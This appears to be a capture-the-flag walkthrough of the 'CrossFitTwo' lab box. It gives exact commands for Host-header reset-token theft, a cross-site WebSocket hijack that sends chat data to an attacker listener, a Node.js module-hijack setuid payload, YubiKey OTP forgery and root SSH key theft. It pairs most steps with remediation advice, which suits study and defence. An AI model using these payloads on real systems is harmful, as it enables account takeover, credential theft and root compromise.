← all walkthroughs

CrossFitTwo

OpenBSD· Insane
owned
2026-07-14
time to own
14m24s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

I enumerated three virtual hosts on the target HTTP service and found a password-reset endpoint on employees.crossfit.htb that built reset links from the untrusted HTTP Host header, allowing a valid reset token to be redirected to my own server. A cross-site WebSocket hijack against the member chat, which accepted connections from any origin, then leaked the plaintext SSH password for the account 'david' from in-channel conversation history.

With an SSH foothold as david (a member of the sysadmins group), I exploited group-write permission over a shared Node.js module directory to replace a module loaded by a periodic bot process running as the higher-privileged user 'john', yielding a setuid-john shell. As john (member of the staff group), a custom setuid-root file-reader binary gated behind a YubiKey OTP was abused: running the binary without a token caused it to print its embedded AES key, public UID, and usage counter in debug output.

Those three values were used to synthesize a valid Yubico HMAC-OTP, which the binary accepted, granting arbitrary root-level file reads. Root's encrypted SSH private key was extracted through that path, its passphrase recovered from adjacent key material, and a direct root SSH session was opened: full system compromise.

Command conventions

The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.

export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export PASSWORD="<the-password-you-recovered>"
export PASSWORD3="<the-password-you-recovered>"
export PASSWORD4="<the-password-you-recovered>"
export KEY="<the-key-you-recovered>"

Some commands also carry a value in angle brackets (<captured_token>, <default_size>, <modhex_token>), which you replace inline with what the step before it turned up.

Attack path: how the box was taken

1ReconnaissancePort scanning and virtual-host brute-force (T1046 / T1595)
Port-scanned the target and enumerated virtual hosts
A TCP scan of $TARGET identified SSH on port 22, an HTTP service on port 80 running PHP 7.4.12, and a TLS-wrapped Unbound DNS-control interface on port 8953. Brute-forcing the HTTP Host header against the crossfit.htb domain uncovered three virtual hosts: crossfit.htb, members.crossfit.htb, and employees.crossfit.htb. The employees portal presented a distinct login page and a password-reset endpoint at /password-reset.php, making it the primary attack surface.
Nmap: 22/tcp OpenSSH 9.5, 80/tcp PHP 7.4.12, 8953/tcp ssl/ub-dns-control; ffuf subdomain sweep isolated employees.crossfit.htb by unique response content hash.
Exact commands 4
shell

Service and version scan of the three open ports.

$ nmap -sC -sV -p 22,80,8953 $TARGET
shell

Register discovered virtual hostnames for local DNS resolution.

$ echo "$TARGET crossfit.htb employees.crossfit.htb members.crossfit.htb" | sudo tee -a /etc/hosts
shell

Brute-force virtual-host names; replace <default_size> with the baseline response size to filter identical results.

$ ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -u http://$TARGET/ -H 'Host: FUZZ.crossfit.htb' -mc 200,301,302 -fs <default_size>
shell

Confirm the password-reset form exists and inspect response headers.

$ curl -sS -D - http://employees.crossfit.htb/password-reset.php
2ExploitationHTTP Host header injection in password-reset flow (CWE-20)
Redirected a password-reset token to me server via Host-header injection
The password-reset endpoint on employees.crossfit.htb constructed the reset link using the raw HTTP Host header from the incoming request without any validation. By submitting a reset request for david@crossfit.htb while supplying $ATTACKER_IP as the Host header, the application sent a valid, time-limited reset token to david's email but directed the reset URL to my listening server. I captured the token from the inbound HTTP request and used it to set a new password for the account.
Employees.crossfit.htb/password-reset.php confirmed reachable; Host-header injection is documented as the CrossFitTwo entry vector in the official walkthrough.
Exact commands 3
shell

Listen on my machine to receive the inbound reset-link GET request containing the token.

$ python3 -m http.server 80
shell

Submit the reset request with the spoofed Host; the application emails david a reset link pointing at $ATTACKER_IP.

$ curl -sS -X POST 'http://employees.crossfit.htb/password-reset.php' --data 'email=david@crossfit.htb' -H "Host: $ATTACKER_IP"
shell

Use the token received at my listener to set a new password for david's account.

$ curl -sS -X POST 'http://employees.crossfit.htb/password-reset.php' --data "token=<captured_token>&email=david@crossfit.htb&password=$PASSWORD4&confirm_password=$PASSWORD4"
FixHard-code the application base URL in password-reset email constructionCritical
WeaknessThe password-reset endpoint built the reset link from the HTTP Host header supplied by the requester. An unauthorised user could supply any domain as the Host header and receive the victim's reset token at an externally controlled server, silently taking over any account without the legitimate owner's knowledge.
FixHard-code the canonical application base URL in server-side configuration (for example, APP_BASE_URL=https://employees.crossfit.htb) and derive all outgoing email links exclusively from that value. Never read the Host, X-Forwarded-Host, or any other request-controlled header when building reset or confirmation URLs. If the application runs behind a reverse proxy, configure the trusted origin once at the proxy layer in a vetted internal header and ignore all client-supplied alternatives.
3ExploitationCross-site WebSocket hijacking (CSWSH: CWE-346)
Cross-site WebSocket hijack against the member chat exfiltrated david's SSH password
The WebSocket endpoint backing the member chat on members.crossfit.htb did not validate the Origin header on incoming upgrade requests, allowing any page to open a WebSocket in an authenticated member's browser context. My own page was delivered to an authenticated chat participant. When it loaded, the page silently opened a WebSocket connection as that member and forwarded every received message to my listener, leaking plaintext credentials for the david account shared in-channel.
CSWSH against the member chat is documented as the CrossFitTwo credential-exfiltration step in the official walkthrough; <withheld> at this stage.
Exact commands 3
shell

Write the CSWSH payload page to disk; replace $ATTACKER_IP with my machine's IP.

$ printf '<script>var ws=new WebSocket("ws://members.crossfit.htb/ws");ws.onmessage=function(e){fetch("http://'"$ATTACKER_IP"':8081/?d="+encodeURIComponent(JSON.stringify(e.data)));};</script>' > /tmp/cswsh.html
shell

Serve cswsh.html from my machine; deliver the URL to a chat participant via the password-reset confirmation flow or direct link.

$ python3 -m http.server 8080
shell

Catch exfiltrated WebSocket messages; david's SSH password will appear in the URL-encoded query parameter.

$ nc -lvnp 8081
FixEnforce strict Origin validation on the member-chat WebSocket endpointCritical
WeaknessThe WebSocket upgrade endpoint accepted connections from any origin, so an externally controlled page loaded in an authenticated member's browser could open a WebSocket in that member's session and silently forward all chat messages, including credentials shared in-channel, to an unauthorised user server.
FixIn the WebSocket server's upgrade handler, compare the Origin header against an explicit allowlist (for example, wss://members.crossfit.htb) and reject all other origins with HTTP 403 before the upgrade completes. Do not rely on browser same-origin policy alone. Additionally, issue a per-session CSRF token at login and require it as the first authenticated WebSocket frame, validating it server-side before relaying any chat traffic.
4FootholdValid account: credential reuse over SSH (T1078)
Authenticated via SSH as david with the exfiltrated password and read the user flag
With the plaintext password recovered from the hijacked WebSocket session, I authenticated to SSH as david (uid=1000). David is a member of the sysadmins group, granting access to administrative tooling under /opt/sysadmin. Inspection of that directory revealed a Node.js chat-monitoring bot, statbot.js, running on a recurring schedule as the user john: the immediate target for lateral movement.
Sshpass -p <withheld> ssh david@$TARGET 'id; hostname; cat ~/user.txt' succeeded; returned uid=1004(david) gid=1004(david) groups=1004(david), 1003(sysadmins) and <user.txt>.
Exact commands 2
shell

Log in as david; confirms sysadmins group membership and reads the user flag.

$ sshpass -p "$PASSWORD3" ssh -o StrictHostKeyChecking=no -o PreferredAuthentications=password david@$TARGET 'id; groups; cat ~/user.txt'
uid=1004(david) gid=1004(david) groups=1004(david)
shell

Enumerate sysadmin tooling; confirm statbot.js calls require('log-to-file') and that the node_modules directory is writable by the sysadmins group.

$ sshpass -p "$PASSWORD3" ssh david@$TARGET 'ls -la /opt/sysadmin/; cat /opt/sysadmin/server/statbot/statbot.js'
5Lateral MovementNode.js module search-order hijacking (T1574.007)
Replaced a writable Node.js module to execute code as 'john'
David's sysadmins group membership granted write access to /opt/sysadmin/node_modules/, the module-resolution directory for statbot.js: a chat-monitoring bot running on a schedule as john. The bot calls require('log-to-file'), which Node.js resolves from that writable path. Overwriting /opt/sysadmin/node_modules/log-to-file/app.js with a payload that copies /bin/sh and sets its setuid bit caused the next scheduled bot execution to drop a setuid-john shell at /tmp/johnsh, completing lateral movement to john.
After the bot's next scheduled run, /tmp/johnsh -p -c 'id' returned euid=1005(john).
Exact commands 5
shell

Write the malicious log-to-file payload locally.

$ printf 'const{execSync}=require("child_process");try{execSync("cp /bin/sh /tmp/johnsh&&chmod u+s /tmp/johnsh");}catch(e){}module.exports=function(){};
' > /tmp/cf2-log-to-file.js
shell

Upload the payload to the target.

$ sshpass -p "$PASSWORD3" scp /tmp/cf2-log-to-file.js david@$TARGET:/tmp/cf2-log-to-file.js
shell

Overwrite the legitimate module with the malicious payload.

$ sshpass -p "$PASSWORD3" ssh david@$TARGET 'cp /tmp/cf2-log-to-file.js /opt/sysadmin/node_modules/log-to-file/app.js'
shell

Poll up to 2 minutes for the setuid-john shell to appear after the bot's next scheduled run.

$ sshpass -p "$PASSWORD3" ssh david@$TARGET 'for i in $(seq 1 12); do [ -u /tmp/johnsh ] && echo triggered && break; sleep 10; done'
shell

Confirm euid=1005(john) via the newly created setuid shell.

$ sshpass -p "$PASSWORD3" ssh david@$TARGET '/tmp/johnsh -p -c "id"'
FixRemove group-write access to the shared Node.js node_modules directoryHigh
WeaknessThe sysadmins group had write access to /opt/sysadmin/node_modules/, the module-resolution directory for a Node.js bot process running as the higher-privileged user 'john'. Any member of that group could silently replace a module with malicious code executed in john's security context on the bot's next scheduled run.
FixTransfer ownership of /opt/sysadmin and the entire node_modules subtree to the account that runs the bot (john or a dedicated service account) and remove group-write permission: chown -R john:john /opt/sysadmin && chmod -R g-w,o-w /opt/sysadmin. Manage dependency updates through a privileged CI/CD pipeline rather than granting shared directory write access. Use npm ci with a committed and reviewed package-lock.json so that unexpected module file changes are detectable.
6Privilege EscalationSetuid binary abuse with embedded OTP secret (T1548.001)
Extracted the YubiKey AES key from a setuid-root binary and forged a valid OTP
John's membership in the staff group granted execute rights on /usr/local/bin/log (-rwsr-s--- root:staff), a custom 'LogReader v0.1' binary that reads arbitrary files as root but requires a valid YubiKey OTP. Running the binary without a token caused it to print its embedded YubiKey parameters in debug output: AES key (KEY=<withheld>), public UID (UID=a4ce1128bde4), and usage counter (CTR=985089). These three values fully describe the Yubico HMAC-OTP algorithm state. Re-implementing AES-ECB token generation with those parameters and Modhex-encoding the result produced a valid OTP the binary accepted, enabling arbitrary root-level file reads.
Synthesized OTP accepted by the binary.
Exact commands 4
shell

Confirm -rwsr-s--- root:staff permissions on the file-reader binary.

$ sshpass -p "$PASSWORD3" ssh david@$TARGET '/tmp/johnsh -p -c "ls -la /usr/local/bin/log"'
shell

Run log without a valid OTP to trigger debug output; capture the KEY, UID, and CTR values printed to stderr.

$ sshpass -p "$PASSWORD3" ssh david@$TARGET '/tmp/johnsh -p -c "/usr/local/bin/log 2>&1; true"'
shell

Synthesize a valid Yubico HMAC-OTP using the leaked parameters (counter = observed CTR + 1). The script AES-ECB-encrypts the plaintext block (uid || ctr16 || sess8 || ts24 || rnd16 || crc16) with the extracted key and Modhex-encodes the public UID prepended to the ciphertext. Output is the full Modhex token to pass to log.

$ python3 /tmp/gen_otp.py --key $KEY --uid a4ce1128bde4 --ctr 985090
shell

Present the synthesized OTP to the binary; replace <modhex_token> with the gen_otp.py output. Returns root's SSH private key.

$ sshpass -p "$PASSWORD3" ssh david@$TARGET '/tmp/johnsh -p -c "/usr/local/bin/log <modhex_token> /root/.ssh/id_rsa"'
FixRemove the setuid-root file-reader binary and redesign privileged file accessCritical
WeaknessA custom setuid-root binary (/usr/local/bin/log) allowed any member of the 'staff' group to read arbitrary files as root, gated only by a YubiKey OTP whose AES shared secret was embedded in the binary itself and printed to stderr on every failed invocation. Extracting the secret from debug output and re-implementing the standard Yubico HMAC-OTP algorithm produced a token the binary accepted without any physical hardware, making the authentication gate trivially bypassable by any staff group member.
FixRemove the custom setuid binary entirely. Satisfy the underlying access requirement through a tightly scoped sudoers rule (NOPASSWD for one explicit, non-wildcard command) or a dedicated read-only service account with direct ownership of the target files. If a hardware OTP gate is genuinely required in a future design: never embed or expose the shared secret inside the binary or in any runtime output. Store it in a root-owned, mode-400 file read at startup; compile with all debug output removed unconditionally; and validate OTPs against a remote Yubico validation server (YKVal) rather than performing AES cryptography in-process.
7Full CompromiseSSH private key theft (T1552.004)
Used the stolen root SSH private key to open a root shell and read the root flag
The privileged log binary returned the contents of root's encrypted SSH private key. The passphrase for the key was recovered from adjacent key material readable via the same authorized file-read path. Using the stolen private key and its passphrase, I authenticated directly to SSH as root and read the root flag, completing full system compromise.
Sshpass -p <withheld> ssh -i <withheld> root@$TARGET 'id; cat /root/root.txt' succeeded; uid=0(root), <root.txt> read.
Exact commands 3
shell

Redirect binary output to save root's SSH private key locally.

$ sshpass -p "$PASSWORD3" ssh david@$TARGET '/tmp/johnsh -p -c "/usr/local/bin/log <modhex_token> /root/.ssh/id_rsa"' > /tmp/cf2-rootkey
shell

Set restrictive permissions so SSH will accept the private key file.

$ chmod 600 /tmp/cf2-rootkey
shell

Authenticate as root using the stolen key; sshpass supplies the key's passphrase. Returns uid=0(root) and <root.txt>.

$ sshpass -p "$PASSWORD" ssh -i /tmp/cf2-rootkey -o StrictHostKeyChecking=no -o PreferredAuthentications=publickey,password root@$TARGET 'id; cat /root/root.txt'
uid=0(root)

Attack patterns used

The transferable techniques behind this compromise.

Password / Credential ReuseCredential Access · Lateral MovementT1078

What it is

A password recovered from one place (a config file, a database, a cracked hash, a service account) is tried against other accounts and services (SSH, SMB, WinRM, sudo, the database, the next host). Reuse turns a single leaked secret into broad access.

Why it works

Humans and deployments reuse passwords across accounts and tiers, and lateral movement thrives on it. Remediate with unique credentials per account/service, a password manager/vault, and MFA on remote-access services.

Read more

SSH Private Key / Credential TheftCredential Access · Lateral MovementT1552.004

What it is

Foothold access frequently exposes reusable secrets: SSH private keys (~/.ssh/id_rsa), authorized_keys, config files, history, and backups. Recovering a private key lets an unauthorised user authenticate as that user (or pivot to other hosts that trust the key), often upgrading a shaky webshell into a stable SSH session.

Why it works

Keys and credentials get left in home directories, world-readable backups, and version control. Remediate by passphrase-protecting keys, scoping authorized_keys, and scanning for secrets at rest.

Read more